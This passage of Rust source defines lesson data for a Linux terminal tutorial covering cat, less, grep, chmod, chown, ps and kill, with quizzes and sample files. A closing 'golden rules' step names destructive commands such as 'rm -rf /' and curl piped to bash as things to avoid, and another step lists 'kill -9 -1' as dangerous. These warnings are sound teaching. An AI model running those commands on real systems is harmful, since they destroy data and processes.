909 hint: None,
910 step_type: StepType::Information {
911 content: "🎓 CONGRATULATIONS! You're now aware of major dangers!\n\n🛡️ GOLDEN RULES TO REMEMBER:\n\n1️⃣ NEVER run 'rm -rf /' or 'rm -rf /*'\n2️⃣ ALWAYS use -i flag with rm, mv, cp\n3️⃣ NEVER use chmod 777 on anything\n4️⃣ ALWAYS read commands before running them\n5️⃣ NEVER blindly copy-paste from the internet\n6️⃣ ALWAYS pwd before destructive operations\n7️⃣ NEVER pipe curl to bash without reading the script\n8️⃣ ALWAYS use sudo minimally and carefully\n9️⃣ NEVER assume you're in the right directory\n🔟 ALWAYS backup important files before operations\n\n💡 When in doubt:\n • man <command> → Read the manual\n • <command> --help → Get help info\n • Ask in forums/communities\n • Test in /tmp or virtual machine first\n • Make backups before experimenting\n\nStay safe and enjoy the power of the command line! 🚀\n\nNext: Practice these lessons in safe environments!".to_string(),
912 },
913 },
914 ],
915 }
916}
917
918fn create_file_viewing_lesson() -> Lesson {
920 Lesson {
921 id: "file-viewing".to_string(),
922 title: "File Viewing & Reading".to_string(),
923 description: "Master the art of reading, viewing, and searching through text files using cat, less, head, tail, and grep.".to_string(),
924 difficulty: Difficulty::Beginner,
925 estimated_minutes: 12,
926 prerequisites: vec!["nav-basics".to_string()],
927 tags: vec!["beginner".to_string(), "files".to_string(), "text".to_string()],
928 setup: vec![
929 SetupFile {
930 path: "notes.txt".to_string(),
931 contents: "Shopping list:\n- apples\n- bread\n- coffee\n\nReminder: practice cat, less, head, tail and grep on the files here.\n".to_string(),
932 },
933 SetupFile {
934 path: "server.log".to_string(),
935 contents: "2026-07-01 09:00:01 INFO http server started on port 8080\n\
9362026-07-01 09:00:02 INFO ssh daemon listening on port 22\n\
9372026-07-01 09:01:14 INFO http GET /index.html 200\n\
9382026-07-01 09:02:33 WARN http GET /admin 403\n\
9392026-07-01 09:03:05 INFO SSH login accepted for user alice\n\
9402026-07-01 09:04:41 ERROR http GET /missing 404\n\
9412026-07-01 09:05:12 INFO http GET /about.html 200\n\
9422026-07-01 09:06:58 WARN disk usage at 81%\n\
9432026-07-01 09:07:23 INFO http POST /contact 200\n\
9442026-07-01 09:08:44 ERROR ssh login failed for user bob\n\
9452026-07-01 09:09:31 INFO http GET /index.html 200\n\
9462026-07-01 09:10:02 INFO backup job started\n\
9472026-07-01 09:12:19 INFO backup job finished\n\
9482026-07-01 09:13:37 INFO http GET /docs 200\n\
9492026-07-01 09:14:55 ERROR http GET /broken 500\n\
9502026-07-01 09:15:10 INFO SSH session closed for user alice\n\
9512026-07-01 09:16:42 INFO http GET /index.html 200\n\
9522026-07-01 09:17:08 WARN slow query took 4.2s\n\
9532026-07-01 09:18:29 INFO http GET /blog 200\n\
9542026-07-01 09:19:59 INFO server heartbeat OK\n".to_string(),
955 },
956 SetupFile {
957 path: "poem.txt".to_string(),
958 contents: "The terminal glows in quiet night,\nEach command a spark of light.\nWith cat and grep the text takes flight,\nAnd tail reveals the end in sight.\n".to_string(),
959 },
960 ],
961 steps: vec![
962 LessonStep {
963 step_number: 1,
964 title: "Introduction to File Viewing".to_string(),
965 instruction: "".to_string(),
966 hint: None,
967 step_type: StepType::Information {
968 content: "Welcome to File Viewing & Reading!\n\nIn Linux, almost everything is a text file - configuration files, logs, scripts, and more. Knowing how to quickly read and search through files is essential.\n\nYou'll learn:\n • cat - Display entire files\n • less - Navigate large files\n • head/tail - View file beginnings and ends\n • grep - Search for patterns in files\n\nThese tools are your windows into the file system. Let's get started!".to_string(),
969 },
970 },
971 LessonStep {
972 step_number: 2,
973 title: "Using cat to Display Files".to_string(),
974 instruction: "The 'cat' command (concatenate) displays file contents. Try viewing a file with cat /etc/hostname".to_string(),
975 hint: Some("Type: cat /etc/hostname".to_string()),
976 step_type: StepType::CommandExercise {
977 expected_command: "cat /etc/hostname".to_string(),
978 validation: CommandValidation::Exact,
979 success_message: "Perfect! 'cat' dumps the entire file to your screen. Great for small files, but overwhelming for large ones.".to_string(),
980 },
981 },
982 LessonStep {
983 step_number: 3,
984 title: "Viewing Multiple Files".to_string(),
985 instruction: "cat can display multiple files at once. Try: cat /etc/hostname /etc/os-release".to_string(),
986 hint: Some("Type exactly: cat /etc/hostname /etc/os-release".to_string()),
987 step_type: StepType::CommandExercise {
988 expected_command: "cat /etc/hostname /etc/os-release".to_string(),
989 validation: CommandValidation::Exact,
990 success_message: "Excellent! cat concatenates (combines) multiple files and displays them in order. That's why it's called 'cat'!".to_string(),
991 },
992 },
993 LessonStep {
994 step_number: 4,
995 title: "Reading Large Files with less".to_string(),
996 instruction: "For large files, use 'less' which lets you scroll. It's like a book reader. Try: less /etc/services".to_string(),
997 hint: Some("Type: less /etc/services (use arrow keys to scroll, 'q' to quit)".to_string()),
998 step_type: StepType::CommandExercise {
999 expected_command: "less /etc/services".to_string(),
1000 validation: CommandValidation::Exact,
1001 success_message: "Great! In less: arrow keys scroll, Space=page down, 'b'=page up, '/'=search, 'q'=quit. It's named 'less' because 'less is more' (improving on the old 'more' command).".to_string(),
1002 },
1003 },
1004 LessonStep {
1005 step_number: 5,
1006 title: "Quiz: When to Use cat vs less?".to_string(),
1007 instruction: "".to_string(),
1008 hint: None,
1009 step_type: StepType::MultipleChoice {
1010 question: "When should you use 'less' instead of 'cat'?".to_string(),
1011 options: vec![
1012 "Always use cat, it's faster".to_string(),
1013 "For large files where you need to scroll and search".to_string(),
1014 "Only for binary files".to_string(),
1015 "When you want to edit the file".to_string(),
1016 ],
1017 correct_index: 1,
1018 explanation: "Correct! Use 'less' for large files (logs, documentation) where you need to scroll and search. Use 'cat' for quick viewing of small files or when piping to other commands. Neither cat nor less can edit files - use a text editor like nano or vim for that!".to_string(),
1019 },
1020 },
1021 LessonStep {
1022 step_number: 6,
1023 title: "Viewing File Beginnings with head".to_string(),
1024 instruction: "To see just the first few lines of a file, use 'head'. Try viewing the first 10 lines of /etc/services".to_string(),
1025 hint: Some("Type: head /etc/services".to_string()),
1026 step_type: StepType::CommandExercise {
1027 expected_command: "head /etc/services".to_string(),
1028 validation: CommandValidation::Exact,
1029 success_message: "Perfect! By default, 'head' shows the first 10 lines. Great for previewing files or checking log file headers.".to_string(),
1030 },
1031 },
1032 LessonStep {
1033 step_number: 7,
1034 title: "Custom Line Count with head".to_string(),
1035 instruction: "You can specify how many lines to show with -n. Try showing the first 5 lines: head -n 5 /etc/services".to_string(),
1036 hint: Some("Type: head -n 5 /etc/services".to_string()),
1037 step_type: StepType::CommandExercise {
1038 expected_command: "head -n 5 /etc/services".to_string(),
1039 validation: CommandValidation::Exact,
1040 success_message: "Excellent! The -n flag controls the number of lines. You can also use the shorthand: head -5 /etc/services".to_string(),
1041 },
1042 },
1043 LessonStep {
1044 step_number: 8,
1045 title: "Viewing File Endings with tail".to_string(),
1046 instruction: "To see the last lines of a file, use 'tail'. This is crucial for checking log files. Try: tail /etc/services".to_string(),
1047 hint: Some("Type: tail /etc/services".to_string()),
1048 step_type: StepType::CommandExercise {
1049 expected_command: "tail /etc/services".to_string(),
1050 validation: CommandValidation::Exact,
1051 success_message: "Great! 'tail' shows the last 10 lines by default. Essential for checking recent log entries!".to_string(),
1052 },
1053 },
1054 LessonStep {
1055 step_number: 9,
1056 title: "Live Log Monitoring".to_string(),
1057 instruction: "".to_string(),
1058 hint: None,
1059 step_type: StepType::Information {
1060 content: "Pro tip: tail -f (follow mode)\n\nThe -f flag makes tail continuously show new lines as they're added to a file:\n\n tail -f /var/log/syslog\n\nThis is INCREDIBLY useful for:\n • Monitoring live log files\n • Watching application output\n • Debugging server issues\n • Tracking file changes in real-time\n\nPress Ctrl+C to stop following.\n\nExample: tail -f /var/log/nginx/access.log\nWatches web server traffic in real-time!".to_string(),
1061 },
1062 },
1063 LessonStep {
1064 step_number: 10,
1065 title: "Introduction to grep".to_string(),
1066 instruction: "grep searches for patterns in files. It's like Ctrl+F for the command line. Search for 'http' in /etc/services: grep http /etc/services".to_string(),
1067 hint: Some("Type: grep http /etc/services".to_string()),
1068 step_type: StepType::CommandExercise {
1069 expected_command: "grep http /etc/services".to_string(),
1070 validation: CommandValidation::Exact,
1071 success_message: "Perfect! grep found all lines containing 'http'. Each matching line is displayed with the pattern highlighted.".to_string(),
1072 },
1073 },
1074 LessonStep {
1075 step_number: 11,
1076 title: "Case-Insensitive Search".to_string(),
1077 instruction: "By default, grep is case-sensitive. Use -i for case-insensitive search. Try: grep -i SSH /etc/services".to_string(),
1078 hint: Some("Type: grep -i SSH /etc/services".to_string()),
1079 step_type: StepType::CommandExercise {
1080 expected_command: "grep -i SSH /etc/services".to_string(),
1081 validation: CommandValidation::AnyOf(vec![
1082 "grep -i SSH /etc/services".to_string(),
1083 "grep -i ssh /etc/services".to_string(),
1084 ]),
1085 success_message: "Excellent! The -i flag makes grep ignore case, matching 'SSH', 'ssh', 'Ssh', etc. Very useful when you're not sure of the exact capitalization.".to_string(),
1086 },
1087 },
1088 LessonStep {
1089 step_number: 12,
1090 title: "Completion: File Viewing Mastered!".to_string(),
1091 instruction: "".to_string(),
1092 hint: None,
1093 step_type: StepType::Information {
1094 content: "Congratulations! You've mastered file viewing!\n\nKey commands learned:\n • cat file.txt - Display entire file\n • cat file1 file2 - Display multiple files\n • less file.txt - Navigate large files (q to quit)\n • head file.txt - First 10 lines\n • head -n 20 file.txt - First 20 lines\n • tail file.txt - Last 10 lines\n • tail -f file.txt - Follow file (live updates)\n • grep pattern file - Search for pattern\n • grep -i pattern file - Case-insensitive search\n\nQuick reference:\n Small files? → cat\n Large files? → less\n Check beginning? → head\n Check end/logs? → tail\n Find something? → grep\n Watch live logs? → tail -f\n\nNext lesson: Learn text processing with pipes and filters!".to_string(),
1095 },
1096 },
1097 ],
1098 }
1099}
1100
1101fn create_permissions_lesson() -> Lesson {
1103 Lesson {
1104 id: "permissions".to_string(),
1105 title: "Permissions & Ownership".to_string(),
1106 description: "Understand Linux file permissions, ownership, and how to modify them safely using chmod and chown.".to_string(),
1107 difficulty: Difficulty::Intermediate,
1108 estimated_minutes: 15,
1109 prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1110 tags: vec!["intermediate".to_string(), "permissions".to_string(), "security".to_string()],
1111 setup: vec![],
1112 steps: vec![
1113 LessonStep {
1114 step_number: 1,
1115 title: "Understanding Linux Permissions".to_string(),
1116 instruction: "".to_string(),
1117 hint: None,
1118 step_type: StepType::Information {
1119 content: "Welcome to Permissions & Ownership!\n\nLinux is a multi-user system. Permissions control who can read, write, or execute files.\n\nWhen you run 'ls -l', you see something like:\n -rw-r--r-- 1 user group 1234 Nov 16 10:30 file.txt\n\nLet's decode this:\n -rw-r--r-- ← Permissions (10 characters)\n 1 ← Number of hard links\n user ← Owner\n group ← Group\n 1234 ← Size in bytes\n Nov 16... ← Last modified date/time\n file.txt ← Filename\n\nWe'll focus on permissions and ownership. Understanding this is crucial for security!".to_string(),
1120 },
1121 },
1122 LessonStep {
1123 step_number: 2,
1124 title: "Viewing Permissions".to_string(),
1125 instruction: "First, let's see permissions in action. Use 'ls -l' to view detailed file information in your home directory.".to_string(),
1126 hint: Some("Type: ls -l".to_string()),
1127 step_type: StepType::CommandExercise {
1128 expected_command: "ls -l".to_string(),
1129 validation: CommandValidation::CommandOnly,
1130 success_message: "Great! Look at the first column - those cryptic letters are the permissions. Let's decode them!".to_string(),
1131 },
1132 },
1133 LessonStep {
1134 step_number: 3,
1135 title: "Decoding Permission Strings".to_string(),
1136 instruction: "".to_string(),
1137 hint: None,
1138 step_type: StepType::Information {
1139 content: "Understanding the 10-character permission string:\n\n -rw-r--r--\n ↑↑↑↑↑↑↑↑↑↑\n │││││││││└─ Others: read\n ││││││││└── Others: write (no)\n │││││││└─── Others: execute (no)\n ││││││└──── Group: read\n │││││└───── Group: write (no)\n ││││└────── Group: execute (no)\n │││└─────── Owner: read\n ││└──────── Owner: write\n │└───────── Owner: execute (no)\n └────────── File type (- = file, d = directory, l = link)\n\nThree permission types:\n r = read (4) - View file contents\n w = write (2) - Modify or delete\n x = execute (1) - Run as program/script\n\nThree permission groups:\n Owner → Group → Others (everyone else)".to_string(),
1140 },
1141 },
1142 LessonStep {
1143 step_number: 4,
1144 title: "Quiz: Reading Permissions".to_string(),
1145 instruction: "".to_string(),
1146 hint: None,
1147 step_type: StepType::MultipleChoice {
1148 question: "A file has permissions '-rwxr-x---'. What can the group do?".to_string(),
1149 options: vec![
1150 "Read, write, and execute".to_string(),
1151 "Read and execute only".to_string(),
1152 "Execute only".to_string(),
1153 "Nothing - no permissions".to_string(),
1154 ],
1155 correct_index: 1,
1156 explanation: "Correct! Breaking it down: -rwxr-x---\nOwner (rwx) can do everything. Group (r-x) can read and execute but NOT write. Others (---) have no permissions at all. The middle set of three characters (r-x) represents group permissions.".to_string(),
1157 },
1158 },
1159 LessonStep {
1160 step_number: 5,
1161 title: "Numeric Permission Notation".to_string(),
1162 instruction: "".to_string(),
1163 hint: None,
1164 step_type: StepType::Information {
1165 content: "Permissions can be expressed as numbers!\n\nEach permission has a value:\n r (read) = 4\n w (write) = 2\n x (execute) = 1\n - (none) = 0\n\nAdd them up for each group:\n rwx = 4+2+1 = 7 (all permissions)\n rw- = 4+2+0 = 6 (read + write)\n r-x = 4+0+1 = 5 (read + execute)\n r-- = 4+0+0 = 4 (read only)\n --- = 0+0+0 = 0 (no permissions)\n\nCommon permission sets:\n 644 = rw-r--r-- (owner writes, others read)\n 755 = rwxr-xr-x (owner writes, all execute)\n 600 = rw------- (owner only, private file)\n 777 = rwxrwxrwx (DANGEROUS - everyone can do everything!)\n\nExample: -rw-r--r-- = 644".to_string(),
1166 },
1167 },
1168 LessonStep {
1169 step_number: 6,
1170 title: "Quiz: Numeric Permissions".to_string(),
1171 instruction: "".to_string(),
1172 hint: None,
1173 step_type: StepType::MultipleChoice {
1174 question: "What does 'chmod 755 script.sh' do?".to_string(),
1175 options: vec![
1176 "Owner: read only, Group/Others: read + execute".to_string(),
1177 "Owner: all permissions, Group/Others: read + execute".to_string(),
1178 "Everyone: all permissions (dangerous!)".to_string(),
1179 "Owner: read + write, Group/Others: read only".to_string(),
1180 ],
1181 correct_index: 1,
1182 explanation: "Correct! 755 means:\n 7 (owner) = rwx = 4+2+1 = full control\n 5 (group) = r-x = 4+0+1 = read and execute\n 5 (others) = r-x = 4+0+1 = read and execute\n\nThis is perfect for scripts and executables - the owner can modify it, but everyone can run it. Common for programs in /usr/bin!".to_string(),
1183 },
1184 },
1185 LessonStep {
1186 step_number: 7,
1187 title: "Using chmod with Numbers".to_string(),
1188 instruction: "Let's practice! First, create a test file: touch testfile.txt, then set its permissions to 644: chmod 644 testfile.txt".to_string(),
1189 hint: Some("Type two commands: touch testfile.txt then chmod 644 testfile.txt".to_string()),
1190 step_type: StepType::CommandExercise {
1191 expected_command: "chmod 644 testfile.txt".to_string(),
1192 validation: CommandValidation::Exact,
1193 success_message: "Perfect! You've set the file to rw-r--r-- (644). You can write to it, but others can only read. This is the standard for regular files.".to_string(),
1194 },
1195 },
1196 LessonStep {
1197 step_number: 8,
1198 title: "Using chmod with Symbolic Notation".to_string(),
1199 instruction: "You can also use letters! Make testfile.txt executable for the owner: chmod u+x testfile.txt".to_string(),
1200 hint: Some("Type: chmod u+x testfile.txt (u=user/owner, +x=add execute)".to_string()),
1201 step_type: StepType::CommandExercise {
1202 expected_command: "chmod u+x testfile.txt".to_string(),
1203 validation: CommandValidation::Exact,
1204 success_message: "Excellent! Symbolic notation is intuitive:\n u=user/owner, g=group, o=others, a=all\n +=add, -=remove, ==set exactly\n r=read, w=write, x=execute\n\nExamples: chmod g+w file (group can write), chmod o-r file (others can't read)".to_string(),
1205 },
1206 },
1207 LessonStep {
1208 step_number: 9,
1209 title: "Making Scripts Executable".to_string(),
1210 instruction: "Common task: making a script runnable. Use the shorthand to add execute permission for everyone: chmod +x testfile.txt".to_string(),
1211 hint: Some("Type: chmod +x testfile.txt (no u/g/o means 'all')".to_string()),
1212 step_type: StepType::CommandExercise {
1213 expected_command: "chmod +x testfile.txt".to_string(),
1214 validation: CommandValidation::Exact,
1215 success_message: "Great! When you omit u/g/o, it applies to all. 'chmod +x' is the quickest way to make a script executable. Now you could run it with ./testfile.txt (if it were a script).".to_string(),
1216 },
1217 },
1218 LessonStep {
1219 step_number: 10,
1220 title: "Understanding Ownership".to_string(),
1221 instruction: "".to_string(),
1222 hint: None,
1223 step_type: StepType::Information {
1224 content: "File Ownership in Linux:\n\nEvery file has TWO owners:\n 1. User owner (usually who created it)\n 2. Group owner (for sharing among team members)\n\nIn 'ls -l' output:\n -rw-r--r-- 1 alice developers 1234 Nov 16 file.txt\n ↑ ↑\n user group\n\nWhy does this matter?\n • Users in 'developers' group get the group permissions\n • Everyone else gets the 'others' permissions\n • Only root (admin) or the owner can change ownership\n\nCommon use case:\n Web server files owned by 'www-data' user and group\n Log files owned by 'syslog' user for security".to_string(),
1225 },
1226 },
1227 LessonStep {
1228 step_number: 11,
1229 title: "Changing Ownership with chown".to_string(),
1230 instruction: "".to_string(),
1231 hint: None,
1232 step_type: StepType::Information {
1233 content: "The chown command changes file ownership:\n\nSyntax:\n chown user:group file.txt\n chown user file.txt (just change user)\n chown :group file.txt (just change group)\n\nExamples:\n sudo chown alice:developers file.txt\n sudo chown www-data:www-data /var/www/index.html\n sudo chown -R user:group /path/to/directory (-R = recursive)\n\nIMPORTANT:\n • Usually requires sudo (only root can change ownership)\n • Be careful with -R (recursive) - affects all files inside!\n • Don't change ownership of system files unless you know what you're doing\n\nFor practice, you typically don't need chown on your own files.\nYou're already the owner!".to_string(),
1234 },
1235 },
1236 LessonStep {
1237 step_number: 12,
1238 title: "Quiz: Permission Safety".to_string(),
1239 instruction: "".to_string(),
1240 hint: None,
1241 step_type: StepType::MultipleChoice {
1242 question: "Why should you NEVER use 'chmod 777' on files?".to_string(),
1243 options: vec![
1244 "It's too complicated to type".to_string(),
1245 "It gives EVERYONE full read, write, execute access - a security nightmare!".to_string(),
1246 "It makes files read-only".to_string(),
1247 "It only works on directories".to_string(),
1248 ],
1249 correct_index: 1,
1250 explanation: "CORRECT! chmod 777 = rwxrwxrwx means EVERYONE on the system can read, modify, delete, and execute your file. This is a massive security risk!\n\nNever use 777! Instead:\n • 644 for regular files (rw-r--r--)\n • 755 for scripts/executables (rwxr-xr-x)\n • 600 for private files (rw-------)\n • 700 for private scripts (rwx------)\n\nUse minimal permissions needed. It's the principle of least privilege!".to_string(),
1251 },
1252 },
1253 LessonStep {
1254 step_number: 13,
1255 title: "Completion: Permissions Mastered!".to_string(),
1256 instruction: "".to_string(),
1257 hint: None,
1258 step_type: StepType::Information {
1259 content: "Excellent work! You understand Linux permissions!\n\nKey concepts:\n • Three permission types: read (r), write (w), execute (x)\n • Three groups: owner, group, others\n • Numeric notation: 644, 755, 600, 700\n • Symbolic notation: u+x, g-w, o=r\n\nEssential commands:\n ls -l View permissions\n chmod 644 file Set permissions (numeric)\n chmod u+x file Add execute for owner (symbolic)\n chmod +x file Make executable for all\n chown user:group file Change ownership (needs sudo)\n\nSafety rules:\n ✓ Never chmod 777 (security risk!)\n ✓ Use minimal permissions needed\n ✓ 644 for files, 755 for executables\n ✓ 600/700 for private data\n ✓ Be careful with -R (recursive)\n\nNext: Learn process management!".to_string(),
1260 },
1261 },
1262 ],
1263 }
1264}
1265
1266fn create_process_management_lesson() -> Lesson {
1268 Lesson {
1269 id: "process-mgmt".to_string(),
1270 title: "Process Management".to_string(),
1271 description: "Learn to monitor and control running processes using ps, top, kill, and background job management.".to_string(),
1272 difficulty: Difficulty::Intermediate,
1273 estimated_minutes: 15,
1274 prerequisites: vec!["nav-basics".to_string()],
1275 tags: vec!["intermediate".to_string(), "processes".to_string(), "system".to_string()],
1276 setup: vec![],
1277 steps: vec![
1278 LessonStep {
1279 step_number: 1,
1280 title: "Introduction to Processes".to_string(),
1281 instruction: "".to_string(),
1282 hint: None,
1283 step_type: StepType::Information {
1284 content: "Welcome to Process Management!\n\nA 'process' is a running program. Every command you execute becomes a process. Your system runs hundreds of processes simultaneously.\n\nKey concepts:\n • PID (Process ID) - Unique number for each process\n • Parent/Child - Processes can spawn other processes\n • Foreground - Process using your terminal\n • Background - Process running without blocking terminal\n • Zombie - Dead process that hasn't been cleaned up\n\nYou'll learn to:\n • View running processes\n • Monitor system resources\n • Kill misbehaving processes\n • Run tasks in the background\n\nLet's dive in!".to_string(),
1285 },
1286 },
1287 LessonStep {
1288 step_number: 2,
1289 title: "Viewing Your Processes".to_string(),
1290 instruction: "The 'ps' command shows running processes. Try it: ps".to_string(),
1291 hint: Some("Type: ps".to_string()),
1292 step_type: StepType::CommandExercise {
1293 expected_command: "ps".to_string(),
1294 validation: CommandValidation::CommandOnly,
1295 success_message: "Good! You see a short list of processes in your current terminal. But there's much more happening! Let's see everything.".to_string(),
1296 },
1297 },
1298 LessonStep {
1299 step_number: 3,
1300 title: "Viewing All Processes".to_string(),
1301 instruction: "To see ALL processes on the system, use: ps aux (a=all users, u=user-oriented format, x=include processes without terminals)".to_string(),
1302 hint: Some("Type: ps aux".to_string()),
1303 step_type: StepType::CommandExercise {
1304 expected_command: "ps aux".to_string(),
1305 validation: CommandValidation::Exact,
1306 success_message: "Wow! Look at all those processes! Each line shows: USER, PID, CPU%, MEM%, COMMAND. This is a snapshot of your entire system.".to_string(),
1307 },
1308 },
1309 LessonStep {
1310 step_number: 4,
1311 title: "Understanding ps Output".to_string(),
1312 instruction: "".to_string(),
1313 hint: None,
1314 step_type: StepType::Information {
1315 content: "Decoding 'ps aux' output:\n\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.1 168580 12140 ? Ss Nov15 0:01 /sbin/init\n\nColumns explained:\n USER - Who owns the process\n PID - Process ID (unique identifier)\n %CPU - CPU usage percentage\n %MEM - Memory usage percentage\n VSZ - Virtual memory size (KB)\n RSS - Resident memory size (KB, actual RAM used)\n TTY - Terminal (? means no terminal)\n STAT - Process state:\n S = Sleeping (waiting)\n R = Running\n Z = Zombie (dead but not cleaned up)\n T = sTopped\n s = session leader\n + = foreground process\n START - When process started\n TIME - CPU time used\n COMMAND - The actual command/program".to_string(),
1316 },
1317 },
1318 LessonStep {
1319 step_number: 5,
1320 title: "Quiz: Process States".to_string(),
1321 instruction: "".to_string(),
1322 hint: None,
1323 step_type: StepType::MultipleChoice {
1324 question: "A process shows state 'Z' in ps output. What does this mean?".to_string(),
1325 options: vec![
1326 "The process is running normally".to_string(),
1327 "The process is asleep/waiting".to_string(),
1328 "It's a zombie - process finished but parent hasn't collected its exit status".to_string(),
1329 "The process is using zero CPU".to_string(),
1330 ],
1331 correct_index: 2,
1332 explanation: "Correct! A 'Z' (zombie) process has completed execution but its parent hasn't read its exit status yet. They usually clean up quickly. If you see many zombies, the parent process might be buggy. Zombies don't use resources but indicate a problem.".to_string(),
1333 },
1334 },
1335 LessonStep {
1336 step_number: 6,
1337 title: "Real-Time Monitoring with top".to_string(),
1338 instruction: "The 'top' command shows processes in real-time, updating every few seconds. Try it: top".to_string(),
1339 hint: Some("Type: top (press 'q' to quit when you're done looking)".to_string()),
1340 step_type: StepType::CommandExercise {
1341 expected_command: "top".to_string(),
1342 validation: CommandValidation::CommandOnly,
1343 success_message: "Great! 'top' is like a live dashboard. It shows:\n • Top section: system summary (CPU, memory, uptime)\n • Bottom: processes sorted by CPU usage\n • Press 'M' to sort by memory, 'P' for CPU, 'q' to quit\n • Press 'k' to kill a process by PID".to_string(),
1344 },
1345 },
1346 LessonStep {
1347 step_number: 7,
1348 title: "Finding Specific Processes".to_string(),
1349 instruction: "To find a specific process, combine ps with grep. Try searching for bash processes: ps aux | grep bash".to_string(),
1350 hint: Some("Type: ps aux | grep bash".to_string()),
1351 step_type: StepType::CommandExercise {
1352 expected_command: "ps aux | grep bash".to_string(),
1353 validation: CommandValidation::Exact,
1354 success_message: "Perfect! The pipe (|) sends ps output to grep, which filters for lines containing 'bash'. This is how you find specific running programs. Note: you'll also see the grep command itself in the results!".to_string(),
1355 },
1356 },
1357 LessonStep {
1358 step_number: 8,
1359 title: "Killing Processes Safely".to_string(),
1360 instruction: "".to_string(),
1361 hint: None,
1362 step_type: StepType::Information {
1363 content: "The 'kill' command sends signals to processes.\n\nCommon signals:\n kill PID - SIGTERM (15) - Polite request to terminate\n kill -9 PID - SIGKILL (9) - Force kill (cannot be ignored)\n kill -1 PID - SIGHUP (1) - Hangup, often reloads config\n kill -STOP PID - Pause process\n kill -CONT PID - Resume paused process\n\nBest practice:\n 1. Try 'kill PID' first (gives process chance to cleanup)\n 2. Wait a few seconds\n 3. If still running, use 'kill -9 PID' (force kill)\n\nALTERNATIVES:\n pkill firefox - Kill by name (all matching processes)\n killall firefox - Same as pkill\n kill -9 -1 - Kill all your processes (dangerous!)\n\nWarning: Only kill your own processes unless you're root!".to_string(),
1364 },
1365 },
1366 LessonStep {
1367 step_number: 9,
1368 title: "Quiz: Killing Processes".to_string(),
1369 instruction: "".to_string(),
1370 hint: None,
1371 step_type: StepType::MultipleChoice {
1372 question: "A program is frozen. What's the safest way to kill it?".to_string(),
1373 options: vec![
1374 "Immediately use 'kill -9 PID'".to_string(),
1375 "Try 'kill PID' first, then 'kill -9 PID' if it doesn't work".to_string(),
1376 "Use 'pkill -9' to kill all processes with that name".to_string(),
1377 "Restart the computer".to_string(),
1378 ],
1379 correct_index: 1,
1380 explanation: "Correct! Always try the polite 'kill PID' (SIGTERM) first. This allows the program to:\n • Save data\n • Close files properly\n • Clean up resources\n • Shutdown gracefully\n\nOnly use 'kill -9' (SIGKILL) if the process doesn't respond to SIGTERM. SIGKILL cannot be caught or ignored - it's an immediate termination with no cleanup.".to_string(),
1381 },
1382 },
1383 LessonStep {
1384 step_number: 10,
1385 title: "Running Commands in Background".to_string(),
1386 instruction: "".to_string(),
1387 hint: None,
1388 step_type: StepType::Information {
1389 content: "Background jobs let you multitask in the terminal!\n\nRunning in background:\n command & - Run command in background\n sleep 60 & - Example: sleep for 60 seconds in background\n\nManaging jobs:\n jobs - List background jobs\n fg - Bring last job to foreground\n fg %1 - Bring job 1 to foreground\n bg - Resume paused job in background\n Ctrl+Z - Pause current foreground job\n Ctrl+C - Kill current foreground job\n\nPractical workflow:\n 1. Start: command &\n 2. Check: jobs\n 3. Bring to front: fg %1\n 4. Pause: Ctrl+Z\n 5. Resume in back: bg\n\nExample:\n $ sleep 100 &\n [1] 12345 ← Job 1, PID 12345\n $ jobs\n [1]+ Running sleep 100 &".to_string(),
1390 },
1391 },
1392 LessonStep {
1393 step_number: 11,
1394 title: "Understanding Process Priority".to_string(),
1395 instruction: "".to_string(),
1396 hint: None,
1397 step_type: StepType::Information {
1398 content: "Process Priority and 'nice' values:\n\nEvery process has a priority (niceness) from -20 to 19:\n -20 = Highest priority (least nice, hogs CPU)\n 0 = Default priority\n 19 = Lowest priority (most nice, yields CPU)\n\nCommands:\n nice -n 10 command - Start with lower priority (+10)\n nice -n -5 command - Start with higher priority (needs root)\n renice 15 -p PID - Change running process priority\n top, then 'r' - Renice in top (enter PID, then value)\n\nWhen to use:\n • Running intensive backups: nice -n 15 backup.sh\n • Encoding video: nice -n 10 ffmpeg ...\n • Critical real-time app: sudo nice -n -10 app\n\nHigher nice value = lower priority = more CPU for other tasks.\nIt's called 'nice' because you're being nice by using less CPU!".to_string(),
1399 },
1400 },
1401 LessonStep {
1402 step_number: 12,
1403 title: "Completion: Process Management Mastered!".to_string(),
1404 instruction: "".to_string(),
1405 hint: None,
1406 step_type: StepType::Information {
1407 content: "Excellent! You can now manage processes like a pro!\n\nKey commands learned:\n ps List current processes\n ps aux List ALL processes with details\n ps aux | grep X Find specific process\n top Real-time process monitor (q to quit)\n htop Better top (if installed)\n\nKilling processes:\n kill PID Polite termination (SIGTERM)\n kill -9 PID Force kill (SIGKILL)\n pkill name Kill by process name\n killall name Kill all processes with name\n\nBackground jobs:\n command & Run in background\n jobs List background jobs\n fg Bring to foreground\n bg Resume in background\n Ctrl+Z Pause current job\n Ctrl+C Kill current job\n\nPriority:\n nice -n N cmd Start with priority\n renice N -p PID Change priority\n\nNext: Master text processing with pipes!".to_string(),
1408 },
1409 },
1410 ],
1411 }
1412}
1413
1414fn create_text_processing_lesson() -> Lesson {
1416 Lesson {
1417 id: "text-processing".to_string(),
1418 title: "Text Processing with Pipes".to_string(),
1419 description: "Master powerful text processing using grep, cut, sort, uniq, pipes, and basic sed/awk for data manipulation.".to_string(),
1420 difficulty: Difficulty::Intermediate,
1421 estimated_minutes: 20,
1422 prerequisites: vec!["file-viewing".to_string()],
1423 tags: vec!["intermediate".to_string(), "text".to_string(), "pipes".to_string()],
1424 setup: vec![
1425 SetupFile {
1426 path: "access.log".to_string(),
1427 contents: "192.168.1.10 - GET /index.html 200\n\
1428192.168.1.22 - GET /about.html 200\n\
1429192.168.1.10 - GET /docs 200\n\
143010.0.0.5 - POST /login 401 ERROR bad password\n\
1431192.168.1.10 - GET /blog 200\n\
1432192.168.1.22 - GET /missing 404 ERROR not found\n\
143310.0.0.5 - POST /login 200\n\
1434172.16.4.8 - GET /index.html 200\n\
1435192.168.1.10 - GET /contact 200\n\
1436172.16.4.8 - GET /broken 500 ERROR server fault\n\
1437192.168.1.22 - GET /index.html 200\n\
143810.0.0.5 - GET /profile 200\n".to_string(),
1439 },
1440 SetupFile {
1441 path: "fruits.txt".to_string(),
1442 contents: "banana\napple\ncherry\napple\nbanana\napple\ndate\ncherry\n".to_string(),
1443 },
1444 SetupFile {
1445 path: "scores.txt".to_string(),
1446 contents: "alice:87\nbob:62\ncarol:95\ndave:78\nerin:95\n".to_string(),
1447 },
1448 ],
1449 steps: vec![
1450 LessonStep {
1451 step_number: 1,
